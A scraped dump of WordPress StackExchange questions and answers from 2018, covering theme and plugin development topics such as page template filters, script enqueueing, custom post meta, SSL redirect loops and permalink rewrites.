"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 1,
"selected": false,
"text": "<p>The list of available templates is generated by <a href=\"https://developer.wordpress.org/reference/classes/wp_t... | 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302574",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/127852/"
] | I'm developing a WordPress theme with several templates. One template is called "Tabs". If a page with this template assigned has children pages, parts of their contents are shown in tabs on the parent page. Therefore I only want to allow certain templates for the children pages.
Is it possible to modify the list (dro... | The list of available templates is generated by [`get_page_templates`](https://developer.wordpress.org/reference/classes/wp_theme/get_page_templates/). By the end of this function you see a filter that allows you to modify the output. You can use that to change it under certain conditions like this:
```
add_filter ('t... |
302,582 | <p>I am building a category overview page and i am use this code:</p>
<pre><code><?php
$limit = 999;
$counter = 0;
$categories = get_categories();
foreach ($categories as $category):
if ($counter < $limit) {
$args = array(
'category__in' => array(
... | [
{
"answer_id": 302581,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 1,
"selected": false,
"text": "<p>The list of available templates is generated by <a href=\"https://developer.wordpress.org/reference/classes/wp_t... | 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302582",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136114/"
] | I am building a category overview page and i am use this code:
```
<?php
$limit = 999;
$counter = 0;
$categories = get_categories();
foreach ($categories as $category):
if ($counter < $limit) {
$args = array(
'category__in' => array(
$ca... | The list of available templates is generated by [`get_page_templates`](https://developer.wordpress.org/reference/classes/wp_theme/get_page_templates/). By the end of this function you see a filter that allows you to modify the output. You can use that to change it under certain conditions like this:
```
add_filter ('t... |
302,588 | <p>I would like to integrate Facybox 3 in my WordPress (only on posts). It works but I'm a bit bothered cuz the initialize script is loaded after the core minified <code>fancybox js</code>. So, here is the code I added in my child <code>functions.php</code>:</p>
<pre><code>// ENQUEUE FANCYBOX SCRIPT
function fancy_scr... | [
{
"answer_id": 302592,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": true,
"text": "<p>There should be no real problems doing it this manner, but there is a more correct way, namely using <a href=\"ht... | 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302588",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/99073/"
] | I would like to integrate Facybox 3 in my WordPress (only on posts). It works but I'm a bit bothered cuz the initialize script is loaded after the core minified `fancybox js`. So, here is the code I added in my child `functions.php`:
```
// ENQUEUE FANCYBOX SCRIPT
function fancy_scripts() {
if ( is_single() ) {
... | There should be no real problems doing it this manner, but there is a more correct way, namely using [`wp_add_inline_script`](https://developer.wordpress.org/reference/functions/wp_add_inline_script/), which is exactly meant for situations where you want to append something to a script file. You would use it like this:... |
302,620 | <p>I wrote a guest blog post for another website. I'd like to publish this same blog post on <em>my</em> website but include a <strong>canonical URL</strong> that points to the original publisher. </p>
<p>This allows me to post the article on my website while notifying Search Engines of the canonical location of the p... | [
{
"answer_id": 302674,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 3,
"selected": true,
"text": "<blockquote>\n <p>Upon inspection, this code never prints to the page. I imagine it might have to do with ... | 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302620",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/121968/"
] | I wrote a guest blog post for another website. I'd like to publish this same blog post on *my* website but include a **canonical URL** that points to the original publisher.
This allows me to post the article on my website while notifying Search Engines of the canonical location of the post and avoiding SEO penalties... | >
> Upon inspection, this code never prints to the page. I imagine it might have to do with parse order.
>
>
>
It depends where you added it. If you want to add code to the `<head>` element of the page you either need to put it in that element in the head in the header.php template or in your theme's functions.php... |
302,634 | <p>I would like to move attached file from one directory within WP uploads folder to another directory. The code below achieves the task. As you can see, I move the original file and also all widthxheight files automatically generated by WP (such as 150x150, 30x300). I call update_attached_file($id, $new_filepath ) and... | [
{
"answer_id": 302771,
"author": "user141080",
"author_id": 141080,
"author_profile": "https://wordpress.stackexchange.com/users/141080",
"pm_score": 0,
"selected": false,
"text": "<p>If you upload an image in the wordpress backend, wordpress creates copies of that file in different size... | 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302634",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142982/"
] | I would like to move attached file from one directory within WP uploads folder to another directory. The code below achieves the task. As you can see, I move the original file and also all widthxheight files automatically generated by WP (such as 150x150, 30x300). I call update\_attached\_file($id, $new\_filepath ) and... | Here is the code that works. Files are moved to 'username' folder and names for all files (including width x height) are updated.
```
// Get all uploaded file attachment IDs
$media_ids = $_POST['item_meta'][205]; // file upload field ID
// Loop through each attachment
foreach ( (array) $media_ids as $id ) {
... |
302,640 | <p>I want to activate a theme located in my plugin as the main theme.</p>
<pre><code>/*
* For directory structure like:
*
* /my-plugin/
* - /my-plugin.php
* - /themes/
*
*
*/
register_theme_directory( dirname( __FILE__ ) . '/themes' );
</code></pre>
<p>What am I missing to then activate the theme on plugin ... | [
{
"answer_id": 302771,
"author": "user141080",
"author_id": 141080,
"author_profile": "https://wordpress.stackexchange.com/users/141080",
"pm_score": 0,
"selected": false,
"text": "<p>If you upload an image in the wordpress backend, wordpress creates copies of that file in different size... | 2018/05/04 | [
"https://wordpress.stackexchange.com/questions/302640",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/29133/"
] | I want to activate a theme located in my plugin as the main theme.
```
/*
* For directory structure like:
*
* /my-plugin/
* - /my-plugin.php
* - /themes/
*
*
*/
register_theme_directory( dirname( __FILE__ ) . '/themes' );
```
What am I missing to then activate the theme on plugin activation?
<https://code... | Here is the code that works. Files are moved to 'username' folder and names for all files (including width x height) are updated.
```
// Get all uploaded file attachment IDs
$media_ids = $_POST['item_meta'][205]; // file upload field ID
// Loop through each attachment
foreach ( (array) $media_ids as $id ) {
... |
302,679 | <p>I am trying to add a new post using the function <code>wp_inser_post</code> in one of my existing categories, I've created a new taxonomy named <code>categorie</code> and in that taxonomy i have a few categories, and I am not able to find a solution, the post is being added but no category is selected.</p>
<pre><co... | [
{
"answer_id": 302683,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 1,
"selected": false,
"text": "<p><code>post_category</code> is only for Core Categories. Use <code>tax_input</code> instead:</p>\n\n<pre><... | 2018/05/04 | [
"https://wordpress.stackexchange.com/questions/302679",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143015/"
] | I am trying to add a new post using the function `wp_inser_post` in one of my existing categories, I've created a new taxonomy named `categorie` and in that taxonomy i have a few categories, and I am not able to find a solution, the post is being added but no category is selected.
```
$title = $_POST['postTitle'];
... | `post_category` is only for Core Categories. Use `tax_input` instead:
```
$new_post = array(
'post_title' => esc_attr(strip_tags($title)),
'post_content' => esc_attr(strip_tags($description)),
'post_type' => 'proiecte',
'post_status' => 'publish',
'tax_input' => array(
'categorie' => array... |
302,693 | <p>Curious fact: the favicon works only on admin dashboard on chrome/opera.</p>
<p>I've tried to clean the cache, but still not work. The line of code to the favicon its being included, buts it just doesnt work.</p>
<p><a href="https://i.stack.imgur.com/Y2yw3.png" rel="nofollow noreferrer"><img src="https://i.stack.i... | [
{
"answer_id": 302683,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 1,
"selected": false,
"text": "<p><code>post_category</code> is only for Core Categories. Use <code>tax_input</code> instead:</p>\n\n<pre><... | 2018/05/04 | [
"https://wordpress.stackexchange.com/questions/302693",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140614/"
] | Curious fact: the favicon works only on admin dashboard on chrome/opera.
I've tried to clean the cache, but still not work. The line of code to the favicon its being included, buts it just doesnt work.
[](https://i.stack.imgur.com/Y2yw3.png)
I'm inclu... | `post_category` is only for Core Categories. Use `tax_input` instead:
```
$new_post = array(
'post_title' => esc_attr(strip_tags($title)),
'post_content' => esc_attr(strip_tags($description)),
'post_type' => 'proiecte',
'post_status' => 'publish',
'tax_input' => array(
'categorie' => array... |
302,793 | <p>I have created a sidebar:</p>
<pre><code>function my_sidebar() {
register_sidebar(
array(
'name' => 'Blog Sidebar',
'id' => 'blog-sidebar',
'description' => 'Sidebar For Blog Page',
'before_widget' => '<div class="widg... | [
{
"answer_id": 302796,
"author": "Eduardo Escobar",
"author_id": 136130,
"author_profile": "https://wordpress.stackexchange.com/users/136130",
"pm_score": 1,
"selected": false,
"text": "<p>The quickest and practical solution for you would be to add your custom class to the before_widget ... | 2018/05/06 | [
"https://wordpress.stackexchange.com/questions/302793",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140276/"
] | I have created a sidebar:
```
function my_sidebar() {
register_sidebar(
array(
'name' => 'Blog Sidebar',
'id' => 'blog-sidebar',
'description' => 'Sidebar For Blog Page',
'before_widget' => '<div class="widget">',
'after_wid... | The quickest and practical solution for you would be to add your custom class to the before\_widget wrapper:
```
'before_widget' => '<div class="widget ul-link-list">'
```
Then use CSS rules accordingly:
```
.ul-link-list ul {
/* Some CSS rules */
}
``` |
302,815 | <p><strong>tl;dr: is there a way to make changes to WordPress options during a PHPUnit test suite execution, and have the changes reverted to the WordPress defaults before the next test suite is executed, without writing a custom teardown function?</strong></p>
<p>I'm testing my plugin which provides a function to add... | [
{
"answer_id": 302863,
"author": "Sean",
"author_id": 138112,
"author_profile": "https://wordpress.stackexchange.com/users/138112",
"pm_score": 2,
"selected": false,
"text": "<p>After Mark Kaplun's comment, I did a little digging in the WordPress test source code and found the <a href=\"... | 2018/05/06 | [
"https://wordpress.stackexchange.com/questions/302815",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/138112/"
] | **tl;dr: is there a way to make changes to WordPress options during a PHPUnit test suite execution, and have the changes reverted to the WordPress defaults before the next test suite is executed, without writing a custom teardown function?**
I'm testing my plugin which provides a function to add and remove some roles ... | >
> tl;dr: is there a way to make changes to WordPress options during a PHPUnit test suite execution, and have the changes reverted to the WordPress defaults before the next test suite is executed, without writing a custom teardown function?
>
>
>
Yes, and no.
No, you cannot use the code you currently have and ex... |
302,876 | <p>I need to display a script just after all my js files loaded via <code>wp_enqueue_script</code></p>
<p>In my functions.php :</p>
<pre><code>function list_hotels($hotels){ ?>
<script>
var positions = [];
positions = <?php echo json_encode($hotels); ?>
</script>
<?... | [
{
"answer_id": 302853,
"author": "Justin Breen",
"author_id": 131617,
"author_profile": "https://wordpress.stackexchange.com/users/131617",
"pm_score": -1,
"selected": false,
"text": "<p>Try wrapping the button in a PHP <code>if</code> statement that checks if the current user has admini... | 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302876",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/73871/"
] | I need to display a script just after all my js files loaded via `wp_enqueue_script`
In my functions.php :
```
function list_hotels($hotels){ ?>
<script>
var positions = [];
positions = <?php echo json_encode($hotels); ?>
</script>
<?php
}
add_action('wp_footer', 'list_hotels', 50, 1);
``... | You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissio... |
302,900 | <p>I have a dropdown where the user can select if he will checkout for him or for his customer. When registered, he gets two roles : Partner,[his_company].</p>
<p>So i want to display a dropdown with customers who have his role [his_company] but my code is not working.</p>
<pre><code><?php
$billing_company = g... | [
{
"answer_id": 302853,
"author": "Justin Breen",
"author_id": 131617,
"author_profile": "https://wordpress.stackexchange.com/users/131617",
"pm_score": -1,
"selected": false,
"text": "<p>Try wrapping the button in a PHP <code>if</code> statement that checks if the current user has admini... | 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302900",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140196/"
] | I have a dropdown where the user can select if he will checkout for him or for his customer. When registered, he gets two roles : Partner,[his\_company].
So i want to display a dropdown with customers who have his role [his\_company] but my code is not working.
```
<?php
$billing_company = get_user_meta( $current_... | You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissio... |
302,907 | <p>i have script.js file for html to wordpress conversion. In html it works, but in wordpress it does not work. This file contains slider, menus etc, I enable to convert html to wordpress without this file, the file has following contents</p>
<pre><code>function include(scriptUrl) {
document.write('<script src=... | [
{
"answer_id": 302853,
"author": "Justin Breen",
"author_id": 131617,
"author_profile": "https://wordpress.stackexchange.com/users/131617",
"pm_score": -1,
"selected": false,
"text": "<p>Try wrapping the button in a PHP <code>if</code> statement that checks if the current user has admini... | 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302907",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143154/"
] | i have script.js file for html to wordpress conversion. In html it works, but in wordpress it does not work. This file contains slider, menus etc, I enable to convert html to wordpress without this file, the file has following contents
```
function include(scriptUrl) {
document.write('<script src="' + scriptUrl + ... | You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissio... |
302,940 | <p>WordPress beginner here. I'm trying to check if a shortcode exists in the page being requested by the user, then if it does, redirect if the user is not signed in. </p>
<pre><code>function redirect_to_home() {
if (has_shortcode(get_the_content(), 'shortcode')) {
if(!is_admin() && !is_user_logged_in())... | [
{
"answer_id": 302947,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>I assume that you have looked at the docs: <a href=\"https://codex.wordpress.org/Shortcode_API\" rel=\... | 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302940",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143178/"
] | WordPress beginner here. I'm trying to check if a shortcode exists in the page being requested by the user, then if it does, redirect if the user is not signed in.
```
function redirect_to_home() {
if (has_shortcode(get_the_content(), 'shortcode')) {
if(!is_admin() && !is_user_logged_in()) {
//redirect
... | If you look at the source code of [`add_shortcode`](https://developer.wordpress.org/reference/functions/add_shortcode/) you will see this function doing little more than store the name of the shortcode in a global array. So, checking if a shortcode exists means looking it up in the array.
Hence, if you want to check f... |
302,946 | <p>I made a few comment meta field and they work well.</p>
<p>Now I need to set comment text as no require.</p>
<p>I found <a href="https://wordpress.stackexchange.com/a/101489/143185">this solution</a> but don't work for me.</p>
<pre><code>add_action( 'pre_comment_on_post', 'allow_empty_comment_text' );
function a... | [
{
"answer_id": 302961,
"author": "Minh",
"author_id": 142410,
"author_profile": "https://wordpress.stackexchange.com/users/142410",
"pm_score": 0,
"selected": false,
"text": "<p>I think you can use $_POST['comment'] = 'NO_COMMENT' then when display the comment you strip that string by \"... | 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302946",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143185/"
] | I made a few comment meta field and they work well.
Now I need to set comment text as no require.
I found [this solution](https://wordpress.stackexchange.com/a/101489/143185) but don't work for me.
```
add_action( 'pre_comment_on_post', 'allow_empty_comment_text' );
function allow_empty_comment_text( $text = '' )
{... | I solve it:
step 1 - insert a random number in text body, because WordPress prevent users that duplicate comments.
step 2- set display:none to textarea of comment field
Finally copy this code in functions.php:
```
add_filter( 'comment_form_field_comment', 'set_default_comment_text', 10, 1 );
function set_default_c... |
302,959 | <p>Is there a way to query the number of pages/the last page of a single post which is paginated by <code><!--nextpage--></code> on wordpress?</p>
<pre><code>function count_post_pages($post_id) {
$the_post = get_post($post_id);
return count(explode('<!--nextpage-->', $the_post->post_content));
}... | [
{
"answer_id": 302963,
"author": "Michael",
"author_id": 4884,
"author_profile": "https://wordpress.stackexchange.com/users/4884",
"pm_score": 3,
"selected": false,
"text": "<p>have a look at <a href=\"https://codex.wordpress.org/Global_Variables#Inside_the_Loop_variables\" rel=\"norefer... | 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302959",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136090/"
] | Is there a way to query the number of pages/the last page of a single post which is paginated by `<!--nextpage-->` on wordpress?
```
function count_post_pages($post_id) {
$the_post = get_post($post_id);
return count(explode('<!--nextpage-->', $the_post->post_content));
}
```
I am not sure whether this is the... | Inside the loop, as [michael](https://wordpress.stackexchange.com/users/4884/michael) [pointed out](https://wordpress.stackexchange.com/a/302963/35541) you could just refer to `$numpages` global variable.
Outside of the loop, your code is almost fine.
Being the number of the pages the number of `<!--nextpage-->` + 1,... |
302,965 | <p>I figured I would ask my own question seeing as the duplicate question(s) still haven't been answered. </p>
<p>For some reason after my fresh install of Wordpress 4.9.1 on my Ubuntu VPS, enabling my "flexible" SSL issued by Cloudflare, and finally switching my URLs in Wordpress (from "<a href="https://foo.com" rel=... | [
{
"answer_id": 302967,
"author": "Matt",
"author_id": 143195,
"author_profile": "https://wordpress.stackexchange.com/users/143195",
"pm_score": 6,
"selected": false,
"text": "<p>I found a solution that fixed my issue.</p>\n\n<p>Sources: </p>\n\n<p>A.) <a href=\"https://sharpten.com/blog/... | 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302965",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143195/"
] | I figured I would ask my own question seeing as the duplicate question(s) still haven't been answered.
For some reason after my fresh install of Wordpress 4.9.1 on my Ubuntu VPS, enabling my "flexible" SSL issued by Cloudflare, and finally switching my URLs in Wordpress (from "<https://foo.com>" to "<https://foo.com>... | I found a solution that fixed my issue.
Sources:
A.) <https://sharpten.com/blog/2018/01/17/wordpress-stuck-many-redirects-error-loop-using-ssl.html>
B.) (Sublink within A) <https://wordpress.org/support/article/administration-over-ssl/>
Excerpt:
Adding the following lines of code at the end of my `wp-config.php` ... |
302,976 | <p>I am using the following permalink structure:</p>
<pre><code>/%postname%-%monthnum%%year%%post_id%.html
</code></pre>
<p>I want to get it changed to just <code>/%postname%/</code>.</p>
<p>Please help me with what should be the correct redirect rule for <code>.htaccess</code>. </p>
| [
{
"answer_id": 303002,
"author": "Diana D Jensen",
"author_id": 135288,
"author_profile": "https://wordpress.stackexchange.com/users/135288",
"pm_score": 0,
"selected": false,
"text": "<p>So basically you want to change the URL structure and then redirect the old URLs to the new ones?</p... | 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302976",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/13058/"
] | I am using the following permalink structure:
```
/%postname%-%monthnum%%year%%post_id%.html
```
I want to get it changed to just `/%postname%/`.
Please help me with what should be the correct redirect rule for `.htaccess`. | Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your `.htaccess` file, using mod\_rewrite:
```
RewriteRule ^([\w-]+)-\d{7,}\.html$ /$1/ [R=... |
302,985 | <p>What's wrong in this function?</p>
<pre><code>function init(){
//go through each sidebar and register it
$sidebars = sidebar_generator::get_sidebars();
if(is_array($sidebars)){
foreach($sidebars as $sidebar){
$sidebar_class = sidebar_generator::name_to_class($sidebar);
... | [
{
"answer_id": 303002,
"author": "Diana D Jensen",
"author_id": 135288,
"author_profile": "https://wordpress.stackexchange.com/users/135288",
"pm_score": 0,
"selected": false,
"text": "<p>So basically you want to change the URL structure and then redirect the old URLs to the new ones?</p... | 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302985",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143219/"
] | What's wrong in this function?
```
function init(){
//go through each sidebar and register it
$sidebars = sidebar_generator::get_sidebars();
if(is_array($sidebars)){
foreach($sidebars as $sidebar){
$sidebar_class = sidebar_generator::name_to_class($sidebar);
register_sideba... | Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your `.htaccess` file, using mod\_rewrite:
```
RewriteRule ^([\w-]+)-\d{7,}\.html$ /$1/ [R=... |
302,986 | <p>I have created custom post type named as freebie in that i have created a custom meta section in that added a input field. Which is not storing the data which entered in that field also not displaying the values entered in that field. I have attached the coding.</p>
<pre><code>function adding_freebie_metabox($post)... | [
{
"answer_id": 303002,
"author": "Diana D Jensen",
"author_id": 135288,
"author_profile": "https://wordpress.stackexchange.com/users/135288",
"pm_score": 0,
"selected": false,
"text": "<p>So basically you want to change the URL structure and then redirect the old URLs to the new ones?</p... | 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/302986",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143211/"
] | I have created custom post type named as freebie in that i have created a custom meta section in that added a input field. Which is not storing the data which entered in that field also not displaying the values entered in that field. I have attached the coding.
```
function adding_freebie_metabox($post) {
add_me... | Assuming you have changed your permalinks in WordPress (under Settings > Permalinks), as mentioned earlier, then you can redirect your old URLs en masse (in order to preserve SEO) with something like the following at the top of your `.htaccess` file, using mod\_rewrite:
```
RewriteRule ^([\w-]+)-\d{7,}\.html$ /$1/ [R=... |
303,034 | <p>i want to show image gallery in archives.php or category.php. The featured image and text content is showing but not image gallery.
Below is the code inside category.php. I have tested to show one post from category 'blog'.</p>
<pre><code>$args = array(
'post_type' => 'post',
'post_status' => ... | [
{
"answer_id": 303028,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 1,
"selected": false,
"text": "<p>I suspect what you actually want, is to have all content showing as being authored by the same person.</p>\n... | 2018/05/08 | [
"https://wordpress.stackexchange.com/questions/303034",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140858/"
] | i want to show image gallery in archives.php or category.php. The featured image and text content is showing but not image gallery.
Below is the code inside category.php. I have tested to show one post from category 'blog'.
```
$args = array(
'post_type' => 'post',
'post_status' => 'any',
'cat'... | I suspect what you actually want, is to have all content showing as being authored by the same person.
So, simply create a 3rd user, and set it as the author of your posts. The revision log will keep track of who did what
e.g. <https://www.siteground.com/kb/change-author-post-wordpress/> |
303,105 | <p>I am having an issue with a <code>WP_query</code> loop (full code below).</p>
<p>Whenever I just run <code>echo $post->post_title</code> it prints out the title just nicely. </p>
<p>But if I try to do something like the following: <code>echo substr($post->post_title,0,1)</code> it can't display special chara... | [
{
"answer_id": 303028,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 1,
"selected": false,
"text": "<p>I suspect what you actually want, is to have all content showing as being authored by the same person.</p>\n... | 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303105",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143295/"
] | I am having an issue with a `WP_query` loop (full code below).
Whenever I just run `echo $post->post_title` it prints out the title just nicely.
But if I try to do something like the following: `echo substr($post->post_title,0,1)` it can't display special characters such as `ø æ å`.
It is as if it *splits* the spec... | I suspect what you actually want, is to have all content showing as being authored by the same person.
So, simply create a 3rd user, and set it as the author of your posts. The revision log will keep track of who did what
e.g. <https://www.siteground.com/kb/change-author-post-wordpress/> |
303,108 | <p>I've ecountered many problems while creating my own WordPress Theme and this is not different. Except that I can't find a solution. I'm good with HTML and CSS, but I know little to nothing from JavaScript and JQuery.</p>
<p>I'm trying to apply the effect from <a href="https://codepen.io/ccrch/pen/yyaraz" rel="nofol... | [
{
"answer_id": 303135,
"author": "Adeel Nazar",
"author_id": 125394,
"author_profile": "https://wordpress.stackexchange.com/users/125394",
"pm_score": 3,
"selected": true,
"text": "<p>Your Js code should be inside document.ready function if jQuery is properly called by WordPress but $ si... | 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303108",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143298/"
] | I've ecountered many problems while creating my own WordPress Theme and this is not different. Except that I can't find a solution. I'm good with HTML and CSS, but I know little to nothing from JavaScript and JQuery.
I'm trying to apply the effect from [here](https://codepen.io/ccrch/pen/yyaraz) on my website. I'll fi... | Your Js code should be inside document.ready function if jQuery is properly called by WordPress but $ sign not defined error occur you need to wrap your code with this.
```
jQuery(document).ready(function($){
"use strict";
//Your Js Code Here
});
``` |
303,117 | <p>I have a shortcode comprising:</p>
<pre><code>$tag = get_term_by( 'slug', 'sample-tag-slug', 'item_tags' );
echo tag_description( $tag->term_id );
</code></pre>
<p>I need to do a <code>str_replace</code> on the description, for which I guess I need to <code>apply_filters</code> - but have no idea how, despite a... | [
{
"answer_id": 303119,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 0,
"selected": false,
"text": "<p>There doesn't appear to be a filter for <code>tag_description()</code>, but there's nothing stopping yo... | 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303117",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103213/"
] | I have a shortcode comprising:
```
$tag = get_term_by( 'slug', 'sample-tag-slug', 'item_tags' );
echo tag_description( $tag->term_id );
```
I need to do a `str_replace` on the description, for which I guess I need to `apply_filters` - but have no idea how, despite an extensive search and a very large brain-fade.
UP... | The filter is well hidden, but you can track it down from [`tag_description ($tag)`](https://developer.wordpress.org/reference/functions/tag_description/), which calls [`term_description ($term=$tag, $taxonomy = 'post_tag')`](https://developer.wordpress.org/reference/functions/term_description/), which in turn calls [`... |
303,130 | <p>I have a form on my wordpress page template --</p>
<pre><code><form id="pollyform" method="post">
<textarea name="pollytext" id="text"></textarea>
<input type="submit" id="savetext" name="savetext" value="save-text" />
</form>
</code></pre>
<p>I am trying to get the data from my texta... | [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key wi... | 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303130",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24067/"
] | I have a form on my wordpress page template --
```
<form id="pollyform" method="post">
<textarea name="pollytext" id="text"></textarea>
<input type="submit" id="savetext" name="savetext" value="save-text" />
</form>
```
I am trying to get the data from my textarea field and send to my script --
```
$(document).rea... | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,150 | <p>i want to send post slug through URL and get on other page.
e.g, www.example.com/cars/mini-car
how can i get '<strong>mini-car</strong>' car type </p>
<p>i've found the way to get the id from url. that is;</p>
<pre><code>$url = get_post_permalink(); //Get the url of the current post
$substring_start_pos = strpos(... | [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key wi... | 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303150",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143215/"
] | i want to send post slug through URL and get on other page.
e.g, www.example.com/cars/mini-car
how can i get '**mini-car**' car type
i've found the way to get the id from url. that is;
```
$url = get_post_permalink(); //Get the url of the current post
$substring_start_pos = strpos($url, 'pid=') + 4; //Find the posi... | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,160 | <p>I'm writing a custom post plugin which is displaying the custom posts in groups as tabs. For each group 4 post. Is it possible to write a query with offset which will increase with every loop?
So the result would be:<br/>
- first query displays posts from 1 to 4<br/>
- second query displays posts from 5 to 8<br/>
-... | [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key wi... | 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303160",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143333/"
] | I'm writing a custom post plugin which is displaying the custom posts in groups as tabs. For each group 4 post. Is it possible to write a query with offset which will increase with every loop?
So the result would be:
- first query displays posts from 1 to 4
- second query displays posts from 5 to 8
- third qu... | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,180 | <p>I have CPT where i do not want to parse shortccode in it's content (using the_content() function). I can use remove_filter to remove default filters for shortcode. but how will i determine that i am removing filter only for my desire CPT?</p>
<p>I have a shortcode [my-custom-shortcode] which i am using in a page. T... | [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key wi... | 2018/05/10 | [
"https://wordpress.stackexchange.com/questions/303180",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70211/"
] | I have CPT where i do not want to parse shortccode in it's content (using the\_content() function). I can use remove\_filter to remove default filters for shortcode. but how will i determine that i am removing filter only for my desire CPT?
I have a shortcode [my-custom-shortcode] which i am using in a page. This shor... | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,234 | <p>My blog post contains only images like this </p>
<pre><code><img class="aligncenter wp-image-567 size-full" src="..myimage_src_01.." alt="" width="960" height="960" /><br/>
